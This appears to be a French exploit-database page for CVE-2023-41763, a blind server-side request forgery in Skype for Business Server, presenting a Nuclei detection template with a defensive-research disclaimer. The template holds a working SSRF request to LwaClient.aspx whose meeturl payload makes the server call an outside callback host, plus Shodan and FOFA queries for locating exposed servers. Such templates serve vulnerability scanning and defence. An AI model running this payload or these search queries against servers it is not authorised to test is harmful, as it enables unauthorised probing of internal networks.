Exploit matérialisé

CVE-2023-41763

HIGH KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei medium Vérifié

Source

Skype for Business 2019 (SfB) - Blind Server-side Request Forgery

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2023-41763 -u https://your-target

Template yaml

id: CVE-2023-41763

info:
  name: Skype for Business 2019 (SfB) - Blind Server-side Request Forgery
  author: hateshape
  severity: medium
  description: |
    Skype Pre-Auth Server-side Request Forgery (SSRF) vulnerability
  impact: |
    Unauthenticated attackers can exploit blind SSRF vulnerabilities through the meeturl parameter to make the Skype for Business server probe internal network resources, potentially discovering internal services and infrastructure topology.
  remediation: |
    Apply Microsoft security patches for Skype for Business Server 2015 and 2019 that validate and restrict URL parameters in the LwaClient.aspx endpoint.
  reference:
    - https://frycos.github.io/vulns4free/2022/09/26/skype-audit-part2.html
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41763
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41763
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-41763
    epss-score: 0.90353
    epss-percentile: 0.99789
    cpe: cpe:2.3:a:microsoft:skype_for_business_server:2015:cumulative_update_13:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microsoft
    product: skype_for_business_server
    shodan-query:
      - html:"Skype for Business"
      - http.html:"skype for business"
    fofa-query: body="skype for business"
  tags: cve,cve2023,skype,blind-ssrf,oast,ssrf,kev,microsoft,vkev,vuln
variables:
  ssrfpayload: "http://{{interactsh-url}}/?id={{rand_base(3)}}%25{1337*1337}#.xx//"

http:
  - raw:
      - |
        GET /lwa/Webpages/LwaClient.aspx?meeturl={{base64(ssrfpayload)}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'Skype'
# digest: 490a00463044022029a857740cc04d65e48093a31ac9b1922e5514dda67f1d20b2d3f0044330b25d02205441b8d7d39958740155d9f3267a605c83373f4a192e136102ddae150eac08fc:922c64590222798bb761d5b6d8e72950